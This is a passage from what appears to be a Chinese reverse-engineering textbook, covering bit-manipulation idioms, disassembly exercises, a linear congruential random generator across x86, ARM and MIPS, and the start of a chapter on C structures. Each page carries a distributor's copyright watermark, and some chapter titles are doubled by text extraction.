0x18+i($fp) or $at, $zero ; load delay slot, NOP slti $v0, 0x20 # ' ' bnez $v0, loc_20 or $at, $zero ; branch delay slot, NOP ; function epilogue. return rt: lw $v0, 0x18+rt($fp) move $sp, $fp ; load delay slot lw $fp, 0x18+var_4($sp) addiu $sp, 0x18 ; load delay slot jr $ra or $at, $zero ; branch delay slot, NOP 这段程序十分直观:程序首先把所有的局部变量存储在局部栈里。在使用变量的时候,再把它们从栈里取出 来。SLLV 指令的全称是“Shift Word Left Logical Variable”。SLL 指令只能把某个操作位移事先确定的比特位(这 个位数是封装在 opcode 里的固定值),而 SLLV 指令从寄存器里读取位移的具体位数(编译时不能确定的变量)。 Optimizing GCC 启用优化功能之后,编译器生成的程序就会简略许多。不过它却使用了 2 条位移指令,比非优化编译 而生成的程序还要多用一条位移指令。这是为什么?固然第一条 SLLV 指令可以替换为“跳转到第二个 SLLV 的无条件转移指令”,但是如此一来函数中就需要多用一个转移指令。而编译器的优化功能会刻意减 少这种转移指令的使用次数,更多详情请参见本书 33.1 节。 指令清单 19.37 Optimizing GCC 4.4.5 (IDA) f: ; $a0=a ; rt variable will reside in $v0: move $v0, $zero ; i variable will reside in $v1: move $v1, $zero li $t0, 1 li $a3, 32 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 295 sllv $a1, $t0, $v1 ; $a1 = $t0<<$v1 = 1<<i loc_14: and $a1, $a0 ; $a1 = a&(1<<i) ; increment i: addiu $v1, 1 ; jump to loc\_28 if a&(1<<i)==0 and increment rt: beqz $a1, loc_28 addiu $a2, $v0, 1 ; if BEQZ was not triggered, save updated rt into $v0: move $v0, $a2 loc_28: ; if i!=32, jump to loc_14 and also prepare next shifted value: bne $v1, $a3, loc_14 sllv $a1, $t0, $v1 ; return jr $ra or $at, $zero ; branch delay slot, NOP 19.6 本章小结 与 C/C++语言中的位移操作符<<和>>相对应,x86 指令集中有操作无符号数的 SHR/SHL 指令和操作 有符号数的 SAR/SHL 指令。 在 ARM 平台上,对无符号数进行位移运算的指令是 LSR/LSL,对有符号数进行位移运算的指令是 ASR/LSL。而且,ARM 指令还可以通过“参数调节符”的形式使用“后缀型”位移运算指令。此类对其 他数进行运算的指令,又叫做“数据处理指令”。 19.6.1 检测特定位(编译阶段) 对某数值的二进制 1000000 位(即 16 进制的 0x40)进行检测的指令大体如下。 指令清单 19.38 C/C++ if (input&0x40) ... 指令清单 19.39 x86 TEST REG, 40h JNZ is_set ; bit is not set 指令清单 19.40 x86 TEST REG, 40h JZ is_cleared ; bit is set 指令清单 19.41 ARM (ARM mode) TST REG, #0x40 BNE is_set ; bit is not set 某些情况下,编译器会使用 AND 指令而不使用 TEST 指令。无论编译器选取了哪个指令,都不会影 响程序将要检测的标志位。 19.6.2 检测特定位(runtime 阶段) 在 C/C++代码编译而得的程序中,检测特定位的指令(右移 n 位,然后舍弃最低位)大体如下。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 296 逆向工程权威指南(上册) 指令清单 19.42 C/C++ if ((value>>n)&1) ... 相应的 x86 代码如下所示。 指令清单 19.43 x86 ; REG=input_value ; CL=n SHR REG, CL AND REG, 1 此外还可以把 1 左移 n 次,逐次鉴定各位是否为零。 指令清单 19.44 C/C++ if (value & (1<<n)) ... 上述源程序对应的 x86 指令如下所示。 指令清单 19.45 x86 ; CL=n MOV REG, 1 SHL REG, CL AND input_value, REG 19.6.3 设置特定位(编译阶段) 指令清单 19.46 C/C++ value=value|0x40; 指令清单 19.47 x86 OR REG, 40h 指令清单 19.48 ARM (ARM mode) and ARM64 ORR R0, R0, #0x40 19.6.4 设置特定位(runtime 阶段) 指令清单 19.49 C/C++ value=value|(1<<n); 对应的 x86 指令大体如下所示。 指令清单 19.50 x86 ; CL=n MOV REG, 1 SHL REG, CL OR input_value, REG 19.6.5 清除特定位(编译阶段) 如需清除特定位,只需使用 AND 指令操作相应数值即可。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 297 指令清单 19.51 C/C++ value=value&(~0x40); 指令清单 19.52 x86 AND REG, 0FFFFFFBFh 指令清单 19.53 x64 AND REG, 0FFFFFFFFFFFFFFBFh 上述指令仅仅把被操作数的某个位置零,其他位保持不变。 ARM 平台的 ARM 模式指令集有 BIC 指令。它相当于 NOT 和 AND 指令对。 指令清单 19.54 ARM (ARM mode) BIC R0, R0, #0x40 19.6.6 清除特定位(runtime 阶段) 指令清单 19.55 C/C++ value=value&(~(1<<n)); 指令清单 19.56 x86 ; CL=n MOV REG, 1 SHL REG, CL NOT REG AND input_value, REG 19.7 练习题 19.7.1 题目 1 请描述下述代码的功能。 指令清单 19.57 Optimizing MSVC 2010 _a$ = 8 _f PROC mov ecx, DWORD PTR _a$[esp-4] mov eax, ecx mov edx, ecx shl edx, 16 ; 00000010H and eax, 65280 ; 0000ff00H or eax, edx mov edx, ecx and edx, 16711680 ; 00ff0000H shr ecx, 16 ; 00000010H or edx, ecx shl eax, 8 shr edx, 8 or eax, edx ret 0 _f ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 298 逆向工程权威指南(上册) 指令清单 19.58 Optimizing Keil 6/2013 (ARM mode) f PROC MOV r1,#0xff0000 AND r1,r1,r0,LSL #8 MOV r2,#0xff00 ORR r1,r1,r0,LSR #24 AND r2,r2,r0,LSR #8 ORR r1,r1,r2 ORR r0,r1,r0,LSL #24 BX lr ENDP 指令清单 19.59 Optimizing Keil 6/2013 (Thumb mode) f PROC MOVS r3,#0xff LSLS r2,r0,#8 LSLS r3,r3,#16 ANDS r2,r2,r3 LSRS r1,r0,#24 ORRS r1,r1,r2 LSRS r2,r0,#8 ASRS r3,r3,#8 ANDS r2,r2,r3 ORRS r1,r1,r2 LSLS r0,r0,#24 ORRS r0,r0,r1 BX lr ENDP 指令清单 19.60 Optimizing GCC 4.9 (ARM64) f: rev w0, w0 ret 指令清单 19.61 Optimizing GCC 4.4.5 (MIPS) (IDA) f: srl $v0, $a0, 24 sll $v1, $a0, 24 sll $a1, $a0, 8 or $v1, $v0 lui $v0, 0xFF and $v0, $a1, $v0 srl $a0, 8 or $v0, $v1, $v0 andi $a0, 0xFF00 jr $ra or $v0, $a0 19.7.2 题目 2 请描述下述程序的功能。 指令清单 19.62 Optimizing MSVC 2010 _a$ = 8 ; size = 4 _f PROC push esi mov esi, DWORD PTR _a$[esp] xor ecx, ecx push edi lea edx, DWORD PTR [ecx+1] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 299 xor eax, eax npad 3 ; align next label $LL3@f: mov edi, esi shr edi, cl add ecx, 4 and edi, 15 imul edi, edx lea edx, DWORD PTR [edx+edx*4] add eax, edi add edx, edx cmp ecx, 28 jle SHORT $LL3@f pop edi pop esi ret 0 _f ENDP 指令清单 19.63 Optimizing Keil 6/2013 (ARM mode) f PROC MOV r3,r0 MOV r1,#0 MOV r2,#1 MOV r0,r1 |L0.16| LSR r12,r3,r1 AND r12,r12,#0xf MLA r0,r12,r2,r0 ADD r1,r1,#4 ADD r2,r2,r2,LSL #2 CMP r1,#0x1c LSL r2,r2,#1 BLE |L0.16| BX lr ENDP 指令清单 19.64 Optimizing Keil 6/2013 (Thumb mode) f PROC PUSH {r4,lr} MOVS r3,r0 MOVS r1,#0 MOVS r2,#1 MOVS r0,r1 |L0.10| MOVS r4,r3 LSRS r4,r4,r1 LSLS r4,r4,#28 LSRS r4,r4,#28 MULS r4,r2,r4 ADDS r0,r4,r0 MOVS r4,#0xa MULS r2,r4,r2 ADDS r1,r1,#4 CMP r1,#0x1c BLE |L0.10| POP {r4,pc} ENDP 指令清单 19.65 Non-optimizing GCC 4.9 (ARM64) f: sub sp, sp, #32 str w0, [sp,12] str wzr, [sp,28] mov w0, 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 300 逆向工程权威指南(上册) str w0, [sp,24] str wzr, [sp,20] b .L2 .L3: ldr w0, [sp,28] ldr w1, [sp,12] lsr w0, w1, w0 and w1, w0, 15 ldr w0, [sp,24] mul w0, w1, w0 ldr w1, [sp,20] add w0, w1, w0 str w0, [sp,20] ldr w0, [sp,28] add w0, w0, 4 str w0, [sp,28] ldr w1, [sp,24] mov w0, w1 lsl w0, w0, 2 add w0, w0, w1 lsl w0, w0, 1 str w0, [sp,24] .L2: ldr w0, [sp,28] cmp w0, 28 ble .L3 ldr w0, [sp,20] add sp, sp, 32 ret 指令清单 19.66 Optimizing GCC 4.4.5 (MIPS) (IDA) f: rl $v0, $a0, 8 srl $a3, $a0, 20 andi $a3, 0xF andi $v0, 0xF srl $a1, $a0, 12 srl $a2, $a0, 16 andi $a1, 0xF andi $a2, 0xF sll $t2, $v0, 4 sll $v1, $a3, 2 sll $t0, $v0, 2 srl $t1, $a0, 4 sll $t5, $a3, 7 addu $t0, $t2 subu $t5, $v1 andi $t1, 0xF srl $v1, $a0, 28 sll $t4, $a1, 7 sll $t2, $a2, 2 sll $t3, $a1, 2 sll $t7, $a2, 7 srl $v0, $a0, 24 addu $a3, $t5, $a3 subu $t3, $t4, $t3 subu $t7, $t2 andi $v0, 0xF sll $t5, $t1, 3 sll $t6, $v1, 8 sll $t2, $t0, 2 sll $t4, $t1, 1 sll $t1, $v1, 3 addu $a2, $t7, $a2 subu $t1, $t6, $t1 addu $t2, $t0, $t2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 301 addu $t4, $t5 addu $a1, $t3, $a1 sll $t5, $a3, 2 sll $t3, $v0, 8 sll $t0, $v0, 3 addu $a3, $t5 subu $t0, $t3, $t0 addu $t4, $t2, $t4 sll $t3, $a2, 2 sll $t2, $t1, 6 sll $a1, 3 addu $a1, $t4, $a1 subu $t1, $t2, $t1 addu $a2, $t3 sll $t2, $t0, 6 sll $t3, $a3, 2 andi $a0, 0xF addu $v1, $t1, $v1 addu $a0, $a1 addu $a3, $t3 subu $t0, $t2, $t0 sll $a2, 4 addu $a2, $a0, $a2 addu $v0, $t0, $v0 sll $a1, $v1, 2 sll $a3, 5 addu $a3, $a2, $a3 addu $v1, $a1 sll $v0, 6 addu $v0, $a3, $v0 sll $v1, 7 jr $ra addu $v0, $v1, $v0 19.7.3 题目 3 请查阅 MSDN 资料,找到 MessageBox()函数使用了哪些标志位。 指令清单 19.67 Optimizing MSVC 2010 _main PROC push 278595 ; 00044043H push OFFSET $SG79792 ; 'caption' push OFFSET $SG79793 ; 'hello, world!' push 0 call DWORD PTR __imp__MessageBoxA@16 xor eax, eax ret 0 _main ENDP 19.7.4 题目 4 请描述下述代码的功能。 指令清单 19.68 Optimizing MSVC 2010 _m$ = 8 ; size = 4 _n$ = 12 ; size = 4 _f PROC mov ecx, DWORD PTR _n$[esp-4] xor eax, eax xor edx, edx test ecx, ecx je SHORT $LN2@f 异步社区会员 dearfuture(15918834820) 专享 尊重版权 302 逆向工程权威指南(上册) push esi mov esi, DWORD PTR _m$[esp] $LL3@f: test cl, 1 je SHORT $LN1@f add eax, esi adc edx, 0 $LN1@f: add esi, esi shr ecx, 1 jne SHORT $LL3@f pop esi $LN1@f: ret 0 _f ENDP 指令清单 19.69 Optimizing Keil 6/2013 (ARM mode) f PROC PUSH {r4,lr} MOV r3,r0 MOV r0,#0 MOV r2,r0 MOV r12,r0 B |L0.48| |L0.24| TST r1,#1 BEQ |L0.40| ADDS r0,r0,r3 ADC r2,r2,r12 |L0.40| LSL r3,r3,#1 LSR r1,r1,#1 |L0.48| CMP r1,#0 MOVEQ r1,r2 BNE |L0.24| POP {r4,pc} ENDP 指令清单 19.70 Optimizing Keil 6/2013 (Thumb mode) f PROC PUSH {r4,r5,lr} MOVS r3,r0 MOVS r0,#0 MOVS r2,r0 MOVS r4,r0 B |L0.24| |L0.12| LSLS r5,r1,#31 BEQ |L0.20| ADDS r0,r0,r3 ADCS r2,r2,r4 |L0.20| LSLS r3,r3,#1 LSRS r1,r1,#1 |L0.24| CMP r1,#0 BNE |L0.12| MOVS r1,r2 POP {r4,r5,pc} ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 303 指令清单 19.71 Optimizing GCC 4.9 (ARM64) f: mov w2, w0 mov x0, 0 cbz w1, .L2 .L3: and w3, w1, 1 lsr w1, w1, 1 cmp w3, wzr add x3, x0, x2, uxtw lsl w2, w2, 1 csel x0, x3, x0, ne cbnz w1, .L3 .L2: ret 指令清单 19.72 Optimizing GCC 4.4.5 (MIPS) (IDA) mult: beqz $a1, loc_40 move $a3, $zero move $a2, $zero addu $t0, $a3, $a0 loc_10: # CODE XREF: mult+38 sltu $t1, $t0, $a3 move $v1, $t0 andi $t0, $a1, 1 addu $t1, $a2 beqz $t0, loc_30 srl $a1, 1 move $a3, $v1 move $a2, $t1 loc_30: # CODE XREF: mult+20 beqz $a1, loc_44 sll $a0, 1 b loc_10 addu $t0, $a3, $a0 loc_40: # CODE XREF: mult move $a2, $zero loc_44: # CODE XREF: mult:loc_30 move $v0, $a2 jr $ra move $v1, $a3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2200 章 章 线 线性 性同 同余 余法 法与 与伪 伪随 随机 机函 函数 数 “线性同余法”大概是生成随机数的最简方法。虽然现在的随机函数基本不采用这种技术了 ① 20.1 x86 ,但是它 原理简单(只涉及乘法、加法和与运算),仍然值得研究。 #include <stdint.h> // constants from the Numerical Recipes book #define RNG_a 1664525 #define RNG_c 1013904223 static uint32_t rand_state; void my_srand (uint32_t init) { rand_state=init; } int my_rand () { rand_state=rand_state*RNG_a; rand_state=rand_state+RNG_c; return rand_state & 0x7fff; } 上述程序包含两个函数。第一个函数用于初始化内部状态,第二个函数生成伪随机数字。 这个程序中的两个常量来自于参考书目[Pre+07]。本文直接使用 C/C++的#define 语句,把它们定义 为两个宏。C/C++对宏和常量的处理方法有所区别。C/C++编译器的预处理程序会把宏直接替换为相应的值。 所以宏并不像变量那样占用内存。相对而言,编译器把常量当作只读变量处理。因为指针的本质是内存地 址,所以 C/C++的指针可以指向常量,但是无法指向宏。 函数最后使用了“&”/与操作符。根据 C 语言有关标准,my_rand()函数的返回值应当介于 0~32767 之间。如果您有意生成 32 位的伪随机数,那么就不必在此处进行与运算。 指令清单 20.1 Optimizing MSVC 2013 _BSS SEGMENT _rand_state DD 01H DUP (?) _BSS ENDS _init$ = 8 _srand PROC mov eax, DWORD PTR _init$[esp-4] mov DWORD PTR _rand_state, eax ret 0 _srand ENDP _TEXT SEGMENT _rand PROC imul eax, DWORD PTR _rand_state, 1664525 ① 多数随机函数都采用梅森旋转算法(Mersenne twister)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 20 章 线性同余法与伪随机函数 305 add eax, 1013904223 ; 3c6ef35fH mov DWORD PTR _rand_state, eax and eax, 32767 ; 00007fffH ret 0 _rand ENDP _TEXT ENDS 编译器把源代码中的宏直接替换为宏所绑定的常量。这个例子证明。编译器不会给宏单独分配内存。 my_srand()函数直接把输入值传递给内部的 rand_state 变量。 此后,my_rand()函数接收了这个值,以此计算 rand_state。在调整了它的宽度之后,把返回值保留在 EAX 寄存器里。 更为详尽的计算方法可参见如下所示的非优化编译而生成的程序。 指令清单 20.2 Non-optimizing MSVC 2013 _BSS SEGMENT _rand_state DD 01H DUP (?) _BSS ENDS _init$ = 8 _srand PROC push ebp mov ebp, esp mov eax, DWORD PTR _init$[ebp] mov DWORD PTR _rand_state, eax pop ebp ret 0 _srand ENDP _TEXT SEGMENT _rand PROC push ebp mov ebp, esp imul eax, DWORD PTR _rand_state, 1664525 mov DWORD PTR _rand_state, eax mov ecx, DWORD PTR _rand_state add ecx, 1013904223 ; 3c6ef35fH mov DWORD PTR _rand_state, ecx mov eax, DWORD PTR _rand_state and eax, 32767 ;00007 fffH pop ebp ret 0 _rand ENDP _TEXT ENDS 20.2 x64 x64 的程序与 x86 的程序几乎相同。因为函数的返回值属于 int 型数据,所以它没有使用 64 位寄存器, 而是使用了 32 位寄存器的助记符。但是,my_srand()函数从 ECX 寄存器获取的所需参数,没有通过栈读 取参数,这构成了 64 位程序的显著特征。 指令清单 20.3 Optimizing MSVC 2013 x64 _BSS SEGMENT rand_state DD 01H DUP (?) _BSS ENDS init$ = 8 my_srand PROC ; ECX = input argument mov DWORD PTR rand_state, ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 306 逆向工程权威指南(上册) ret 0 my_srand ENDP _TEXT SEGMENT my_rand PROC imul eax, DWORD PTR rand_state, 1664525 ; 0019660dH add eax, 1013904223 ; 3c6ef35fH mov DWORD PTR rand_state, eax and eax, 32767 ; 00007fffH ret 0 my_rand ENDP _TEXT ENDS GCC 生成的程序与此类似。 20.3 32 位 ARM 指令清单 20.4 Optimizing Keil 6/2013 (ARM mode) my_srand PROC LDR r1,|L0.52| ; load pointer to rand_state STR r0,[r1,#0] ; save rand_state BX lr ENDP my_rand PROC LDR r0,|L0.52| ; load pointer to rand_state LDR r2,|L0.56| ; load RNG_a LDR r1,[r0,#0] ; load rand_state MUL r1,r2,r1 LDR r2,|L0.60| ; load RNG_c ADD r1,r1,r2 STR r1,[r0,#0] ; save rand_state ; AND with 0x7FFF: LSL r0,r1,#17 LSR r0,r0,#17 BX lr ENDP |L0.52| DCD ||.data|| |L0.56| DCD 0x0019660d |L0.60| DCD 0x3c6ef35f AREA ||.data||, DATA, ALIGN=2 rand_state DCD 0x00000000 ARM 模式的单条指令本来就是 32 位 opcode,所以单条指令不可能容纳得下 32 位常量。因此,Keil 单独开辟了一些空间来存储常量,再通过额外的指令读取它们。 值得关注的是,常量 0x7fff 也无法封装在单条指令之中。Keil 把 rand_state 左移 17 位之后再右移 17 位,这相当于 C/C++程序中的“(rand_state<<17)>>17”语句。虽然看上去这是画蛇添足,但是它清除了寄 存器的高 17 位,保留了低 15 位数据,与源代码的功能相符。 Keil 优化编译而生成的程序与此雷同,本文不再单独介绍。 20.4 MIPS 指令清单 20.5 Optimizing GCC 4.4.5 (IDA) my_srand: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 20 章 线性同余法与伪随机函数 307 ; store $a0 to rand_state: lui $v0, (rand_state >> 16) jr $ra sw $a0, rand_state my_rand: ; load rand_state to $v0: lui $v1, (rand_state >> 16) lw $v0, rand_state or $at, $zero ; load delay slot ; multiplicate rand_state in $v0 by 1664525 (RNG_a): sll $a1, $v0, 2 sll $a0, $v0, 4 addu $a0, $a1, $a0 sll $a1, $a0, 6 subu $a0, $a1, $a0 addu $a0, $v0 sll $a1, $a0, 5 addu $a0, $a1 sll $a0, 3 addu $v0, $a0, $v0 sll $a0, $v0, 2 addu $v0, $a0 ; add 1013904223 (RNG_c) ; the LI instruction is coalesced by IDA from LUI and ORI li $a0, 0x3C6EF35F addu $v0, $a0 ; store to rand_state: sw $v0, (rand_state & 0xFFFF)($v1) jr $ra andi $v0, 0x7FFF ; branch delay slot 在上述程序中,常量只有 0x3C6EF35F (即 1013904223)。另一个值为 1664525 的常量去哪了? 编译器通过位移和加法运算实现了“乘以 1664525”的运算。我们假设编译器自行生成了以下函数: #define RNG_a 1664525 int f (int a) { return a*RNG_a; } 那么,上述程序的汇编指令应当如下所示。 指令清单 20.6 Optimizing GCC 4.4.5 (IDA) f: sll $v1, $a0, 2 sll $v0, $a0, 4 addu $v0, $v1, $v0 sll $v1, $v0, 6 subu $v0, $v1, $v0 addu $v0, $a0 sll $v1, $v0, 5 addu $v0, $v1 sll $v0, 3 addu $a0, $v0, $a0 sll $v0, $a0, 2 jr $ra addu $v0, $a0, $v0 ; branch delay slot 我们确实可以在可执行程序中找到对应的指令! MIPS 的重新定位 本节重点介绍寄存器与内存交换数据的具体方法。在展现 MIPS 程序的细节方面,IDA 略有不足(“智能” 整理得太严重)。因此本文使用 objdump 程序,分别观测到汇编层面的指令清单及重定位表(relocation list)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 308 逆向工程权威指南(上册) 指令清单 20.7 Optimizing GCC 4.4.5 (objdump) # objdump -D rand_O3.o ... 00000000 <my_srand>: 0: 3c020000 lui v0,0x0 4: 03e00008 jr ra 8: ac440000 sw a0,0(v0) 0000000c <my_rand>: c: 3c030000 lui v1,0x0 10: 8c620000 lw v0,0(v1) 14: 00200825 move at,at 18: 00022880 sll a1,v0,0x2 1c: 00022100 sll a0,v0,0x4 20: 00a42021 addu a0,a1,a0 24: 00042980 sll a1,a0,0x6 28: 00a42023 subu a0,a1,a0 2c: 00822021 addu a0,a0,v0 30: 00042940 sll a1,a0,0x5 34: 00852021 addu a0,a0,a1 38: 000420c0 sll a0,a0,0x3 3c: 00821021 addu v0,a0,v0 40: 00022080 sll a0,v0,0x2 44: 00441021 addu v0,v0,a0 48: 3c043c6e lui a0,0x3c6e 4c: 3484f35f ori a0,a0,0xf35f 50: 00441021 addu v0,v0,a0 54: ac620000 sw v0,0(v1) 58: 03e00008 jr ra 5c: 30427fff andi v0,v0,0x7fff ... # objdump -r rand_O3.o ... RELOCATION RECORDS FOR [.text]: OFFSET TYPE VALUE 00000000 R_MIPS_HI16 .bss 00000008 R_MIPS_LO16 .bss 0000000c R_MIPS_HI16 .bss 00000010 R_MIPS_LO16 .bss 00000054 R_MIPS_LO16 .bss ... 函数 my_srand()两次出现了 relocation 现象。第一次出现在地址 0 处,其类型为 R_MIPS_HI16。第二处出 现在地址 8 处,类型为 R_MIPS_L016。这意味着.bss 段的起始地址要写到地址为 0、8(分别为 16 位的高、低 地址)的指令中去。 位于.bss 段起始位置的值,是变量 rand_state。 在前几条 LUI 和 SW 的指令中,某些操作符是零。因为编译器在编译阶段(complier)还不能确定这些值,所以 此时把它空了出来。编译器将会在链接阶段(linker)处理这些数据,把地址的高地址位传递给 LUI 指令的相应操 作符中,并把低地址位传递给 SW 指令。SW 指令会对地址的低地址位和$V0 寄存器的高地址位进行加权求和。 有了上述概念之后我们就不难理解 my_rand()函数中的重定位:重定位标记 R_MIPS_H16 告诉 linker 程序“要把.bss 段地址的高地址位传递给 LUI 指令”。所以变量 rand_state 地址的高地址位将会存储在$V1 寄存器。地址为 0x10 的 LW 指令再把变量地址的低半部分读出来,然后加到$V1 寄存器中。地址为 0x54 的 SW 指令再次进行这种求和,把新的数值传递给全局变量 rand_state。 在读取 MIPS 程序的重定位信息之后,IDA 程序会把数据与指令进行智能匹配。因此我们无法在 IDA 中看到这些原始的汇编指令。不过,无论 IDA 是否显示它们,重定位信息确实存在。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 20 章 线性同余法与伪随机函数 309 20.5 本例的线程安全改进版 请参见本书 65.1 节查询本例的线程安全(thread-safe)改进版。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2211 章 章 结 结 构 构 体 体 在C/C++的数据结构里结构体(structure)是由一系列数据简单堆积而成的数据类型。结构体中的各项 数据元素,可以是相同类型的数据、也可以是不同类型的数据。 ① 21.1 MSVC: systemtime 本节以 Win32 描述系统时间的 SYSTEMTIME 结构体为例。 库函数对它的定义如下 ② ① 又称为“异构容器/heterogeneous container”。 ② https://msdn.microsoft.com/en-us/library/ms724950(VS.85).aspx。 。 指令清单 21.1 WinBase.h typedef struct _SYSTEMTIME { WORD wYear; WORD wMonth; WORD wDayOfWeek; WORD wDay; WORD wHour; WORD wMinute; WORD wSecond; WORD wMilliseconds; } SYSTEMTIME, *PSYSTEMTIME; 根据上述声明,获取系统时间的程序大致如下: #include <windows.h> #include <stdio.h> void main() { SYSTEMTIME t; GetSystemTime (&t); printf ("%04d-%02d-%02d %02d:%02d:%02d\n", t.wYear, t.wMonth, t.wDay, t.wHour, t.wMinute, t.wSecond); return; }; 使用 MSVC 2010(启用/GS-选项)编译这个程序,可得如下所示的代码。 指令清单 21.2 MSVC 2010 /GS- _t$ = -16 ; size = 16 _main PROC push ebp mov ebp, esp sub esp, 16 lea eax, DWORD PTR _t$[ebp] push eax call DWORD PTR __imp__GetSystemTime@4 movzx ecx, WORD PTR _t$[ebp+12] ; wSecond push ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 311 movzx edx, WORD PTR _t$[ebp+10] ; wMinute push edx movzx eax, WORD PTR _t$[ebp+8] ; wHour push eax movzx ecx, WORD PTR _t$[ebp+6] ; wDay push ecx movzx edx, WORD PTR _t$[ebp+2] ; wMonth push edx movzx eax, WORD PTR _t$[ebp] ; wYear push eax push OFFSET $SG78811 ; ’%04d-%02d-%02d %02d:%02d:%02d’, 0aH, 00H call _printf add esp, 28 xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 函数在栈里为这个结构体申请了 16 字节空间。这个结构体由 8 个 WORD 型数据构成,每个 WORD 型数据占用 2 字节,所以整个结构体正好需要 16 字节的存储空间。 这个结构体的第一个字段是wYear。根据MSDN有关SYSTEMTIME结构体的相关声明 ① 21.1.1 OllyDbg ,在使用 GetSystemTime()函数时,传递给函数的是SYSTEMTIME结构体的指针。但是换个角度看,这也是wYear字 段的指针。GetSystemTime()函数首先会在结构体的首地址写入年份信息,然后再把指针调整 2 个字节并写 入月份信息,如此类推写入全部信息。 我们使用 MSVC 2010(指定/GS- /MD 选项)编译上述程序,并用 OllyDbg 打开 MSVC 生成的可执行文件。 找到传递给 GetSystemTime()函数的指针地址,然后在数据观察窗口里观察这部分数据。此时数据如图 21.1 所示。 图 21.1 OllyDbg:执行 GetSystemTime() 在执行函数时精确的系统时间是“9 december 2014, 22:29:52” 如图 21.2 所示。 我们在数据窗口看到这个地址开始的 16 字节空间的值是: DE 07 0C 00 02 00 09 00 16 00 1D 00 34 00 D4 03 这段空间的每 2 个字节代表结构体的一个字段。由于采用了小端字节序,所以就同一个 WORD 型数 据而言,数权较小的一个字节在前,数权较大的字节在后。我们将其整理一下,看看它们的实际涵义: 十六进制数 十进制含义 字段名 0x07DE 2014 wYear 0x000C 12 wMonth ① https://msdn.microsoft.com/en-us/library/ee488017.aspx。 图 21.2 OllyDbg:printf()函数的输出结果 异步社区会员 dearfuture(15918834820) 专享 尊重版权 312 逆向工程权威指南(上册) 续表 十六进制数 十进制含义 字段名 0x0002 2 wDayOfWeek 0x0009 9 wDay 0x0016 22 wHour 0x001D 29 wMinute 0x0034 52 wSecond 0x03D4 980 wMilliSeconds 在栈窗口里看到的值与此相同,不过栈窗口以 32 位数据的格式组织数据。 而后 printf()函数从结构体中获取所需数据,并在屏幕上进行相应输出。 printf()函数并没有将所有的字段都打印出来。wDayOfWeek 和 wMilliSeconds 都未被输出,但是内存 中确实有它们对应的值。 21.1.2 以数组替代结构体 结构体中的各个元素,在内存里依次排列。为了验证它在内存中的存储状况和数组相同,我用数组替 代了 SYSTEMTIME 结构体: #include <windows.h> #include <stdio.h> void main() { WORD array[8]; GetSystemTime (array); printf ("%04d-%02d-%02d %02d:%02d:%02d\n", array[0] /* wYear */, array[1] /* wMonth */, array[3] /* wDay */, array[4] /* wHour */, array[5] /* wMinute */, array[6] /* wSecond */); return; }; 编译器会提示警告信息: systemtime2.c(7) : warning C4133: ’function’ : incompatible types - from ’WORD [8]’ to ’LPSYSTEMTIME’ 即使如此,MSVC 2010 仍能够进行编译。它生成的代码如下所示。 指令清单 21.3 Non-optimizing MSVC 2010 $SG78573 DB '%04d-%02d-%02d %02d:%02d:%02d', 0aH, 00H _array$ = -16;size=16 _main PROC push ebp mov ebp, esp sub esp, 16 lea eax, DWORD PTR _array$[ebp] push eax call DWORD PTR __imp__GetSystemTime@4 movzx ecx, WORD PTR _array$[ebp+12] ; wSecond push ecx movzx edx, WORD PTR _array$[ebp+10] ; wMinute push edx movzx eax, WORD PTR _array$[ebp+8] ; wHoure push eax movzx ecx, WORD PTR _array$[ebp+6] ; wDay push ecx movzx edx, WORD PTR _array$[ebp+2] ; wMonth push edx movzx eax, WORD PTR _array$[ebp] ; wYear push eax push OFFSET $SG78573 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 313 call _printf add esp, 28 xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 即使调整了数据类型,编译器生成的程序仍然没有什么变化。 这个现象说明,即使我们使用数组替代了原有结构体,编译器生成的汇编指令依旧完全相同。仅仅从 汇编指令分析,很难判断出到底源程序使用的是多变量的结构体还是数组。 好在正常人不会做这种别扭的替换。毕竟结构体的可读性、易用性都比数组强,也方便编程人员替换 结构体中的字段。 因为这个程序和前面的程序完全相同,本书就不再演示 OllyDbg 的调试过程了。 21.2 用 malloc()分配结构体的空间 在某些情况下,使用堆(heap)来存储结构体要比栈(stack)容易一些: #include <windows.h> #include <stdio.h> void main() { SYSTEMTIME *t; t=(SYSTEMTIME *)malloc (sizeof (SYSTEMTIME)); GetSystemTime (t); printf ("%04d-%02d-%02d %02d:%02d:%02d\n", t->wYear, t->wMonth, t->wDay, t->wHour, t->wMinute, t->wSecond); free (t); return; }; 现在启用 MSVC 的优化选项/Ox,编译上述程序,得到的代码如下所示。 指令清单 21.4 Optimizing MSVC _main PROC push esi push 16 call _malloc add esp, 4 mov esi, eax push esi call DWORD PTR __imp__GetSystemTime@4 movzx eax, WORD PTR [esi+12] ; wSecond movzx ecx, WORD PTR [esi+10] ; wMinute movzx edx, WORD PTR [esi+8] ; wHour push eax movzx eax, WORD PTR [esi+6] ; wDay push ecx movzx ecx, WORD PTR [esi+2] ; wMonth push edx movzx edx, WORD PTR [esi] ; wYear push eax push ecx push edx push OFFSET $SG78833 call _printf push esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 314 逆向工程权威指南(上册) call _free add esp, 32 xor eax, eax pop esi ret 0 _main ENDP 16 就是 sizeof(SYSTEMTIME),即 malloc()分配空间的确切大小。malloc()函数根据参数指定的大小分 配一块空间,并把空间的指针传递给 EAX 寄存器。而后 ESI 寄存器获取了这个指针。Win32 的 GetSystemTime()函数把返回值的各个项存储到 